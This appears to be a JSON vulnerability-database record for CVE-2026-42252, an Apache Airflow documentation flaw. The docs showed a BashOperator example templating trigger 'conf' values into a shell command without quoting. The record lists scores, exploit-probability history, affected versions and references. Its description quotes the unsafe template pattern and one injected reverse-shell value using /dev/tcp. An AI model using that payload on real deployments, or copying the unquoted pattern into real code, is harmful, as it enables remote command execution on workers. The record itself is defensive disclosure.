{"schemaVersion":3,"id":"CVE-2026-42252","aliases":["GHSA-c85c-g9wv-pph2","BIT-airflow-2026-42252","PYSEC-2026-184"],"status":"published","duplicateOf":null,"title":null,"description":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","dates":{"published":"2026-06-01T07:51:19.018Z","modified":"2026-06-02T16:43:13.898Z","reserved":null,"kevAdded":[],"kevDue":[]},"cvss":{"headline":{"score":9.1,"severity":"critical","version":"3.1","versionLabel":"v3.1","source":"CVE.org","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","computed":false,"selection":"backend-summary"},"metrics":[{"version":"3.1","versionLabel":"v3.1","source":"CVE.org","score":9.1,"severity":"critical","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","exploitability":null,"impact":null,"computed":false},{"version":"3.1","versionLabel":"v3.1","source":"OSV · Pypi","score":9.1,"severity":"critical","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","exploitability":10,"impact":8.7,"computed":true},{"version":"3.1","versionLabel":"v3.1","source":"NVD","score":9.1,"severity":"critical","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","exploitability":null,"impact":null,"computed":false}]},"epss":{"probability":0.00592,"percentile":0.47319,"severity":"low","asOf":"2026-10-20T00:00:00.000Z","change":{"pp":0.209,"baselineDate":"2026-09-20T00:00:00.000Z","baselineScore":0.00383},"history":[{"date":"2026-09-14T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-15T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-16T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-17T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-18T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-19T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-20T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-21T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-22T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-23T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-24T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-09-25T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-09-26T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-09-27T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-09-28T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-09-29T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-09-30T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-01T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-02T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-03T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-04T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-05T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-06T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-07T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-08T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-09T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-10T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-11T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-12T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-13T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-14T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-15T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-16T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-17T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-18T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-19T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-20T00:00:00.000Z","score":0.00592,"percentile":0.47319}],"last30":[{"date":"2026-09-20T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-21T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-22T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-23T00:00:00.000Z","score":0.00383,"percentile":null},{"date":"2026-09-24T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-09-25T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-09-26T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-09-27T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-09-28T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-09-29T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-09-30T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-01T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-02T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-03T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-04T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-05T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-06T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-07T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-08T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-09T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-10T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-11T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-12T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-13T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-14T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-15T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-16T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-17T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-18T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-19T00:00:00.000Z","score":0.00592,"percentile":null},{"date":"2026-10-20T00:00:00.000Z","score":0.00592,"percentile":0.47319}]},"kev":{"state":"not-listed","entries":[],"listedCount":0,"totalCatalogs":3,"catalogs":[{"source":"cisa","label":"CISA","listed":false,"entry":null},{"source":"enisa","label":"ENISA","listed":false,"entry":null},{"source":"circl","label":"CIRCL","listed":false,"entry":null}]},"ransomware":{"state":"none-recorded","sources":[]},"exploits":[],"exploitCount":0,"weaknesses":[{"id":"CWE-1336","name":"Improper Neutralization of Special Elements Used in a Template Engine","description":"The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.","type":"weakness","status":"Incomplete","abstraction":"Base","likelihoodOfExploit":null,"url":"https://cwe.mitre.org/data/definitions/1336.html"}],"affected":[{"vendor":"apache software foundation","product":"apache airflow","name":"Apache Airflow","label":"apache airflow","ecosystem":null,"cpePart":"a","purl":null,"purlType":null,"versions":[{"text":"≥ 3.0.0, < 3.2.2","noFixRecorded":false,"fixedIn":null}],"versionsText":"≥ 3.0.0, < 3.2.2","eol":null,"hubHref":"/vendor/apache_software_foundation/apache_airflow"},{"vendor":"apache","product":"airflow","name":"Airflow","label":"airflow","ecosystem":null,"cpePart":"a","purl":null,"purlType":null,"versions":[{"text":"≥ 3.0.0, < 3.2.2","noFixRecorded":false,"fixedIn":null}],"versionsText":"≥ 3.0.0, < 3.2.2","eol":{"isEol":null,"eolDate":null,"matchMethod":"cpe","cycle":null,"product":{"name":"apache-airflow","label":"Apache Airflow","category":"framework"}},"hubHref":"/vendor/apache/airflow"},{"vendor":"PyPI","product":"apache-airflow","name":"apache-airflow","label":"apache-airflow","ecosystem":"PyPI","cpePart":null,"purl":"pkg:pypi/apache-airflow","purlType":"pypi","versions":[{"text":"≥ 3.0.0, < 3.2.2","noFixRecorded":false,"fixedIn":null}],"versionsText":"≥ 3.0.0, < 3.2.2","eol":null,"hubHref":null}],"affectedCount":3,"eol":{"hasEol":false,"count":0},"references":[{"url":"https://github.com/apache/airflow/pull/64129","label":"github.com/apache/airflow/pull/64129","hostname":"github.com","tags":["Patch","WEB","FIX","Issue Tracking"]},{"url":"https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7","label":"lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7","hostname":"lists.apache.org","tags":["Vendor Advisory","WEB","Advisory","Mailing List"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42252","label":"nvd.nist.gov/vuln/detail/CVE-2026-42252","hostname":"nvd.nist.gov","tags":["Advisory"]},{"url":"https://github.com/apache/airflow","label":"github.com/apache/airflow","hostname":"github.com","tags":["PACKAGE"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2026-184.yaml","label":"github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2026-184.yaml","hostname":"github.com","tags":["WEB"]},{"url":"https://github.com/advisories/GHSA-c85c-g9wv-pph2","label":"github.com/advisories/GHSA-c85c-g9wv-pph2","hostname":"github.com","tags":["Advisory"]}],"lineage":{"upstream":[],"downstream":[],"duplicates":[],"related":[]},"timeline":[{"kind":"published","date":"2026-06-01T07:51:19.018Z","label":"Published","detail":"Vulnerability first disclosed.","source":null},{"kind":"modified","date":"2026-06-02T16:43:13.898Z","label":"Last modified","detail":"Vulnerability information updated.","source":null}],"risk":{"score":70,"level":"high","profile":"Default","thresholds":{"critical":75,"high":50,"medium":25,"low":10}},"meta":{"dataAsOf":"2026-10-20T17:24:36.043Z","stale":false,"partial":false}}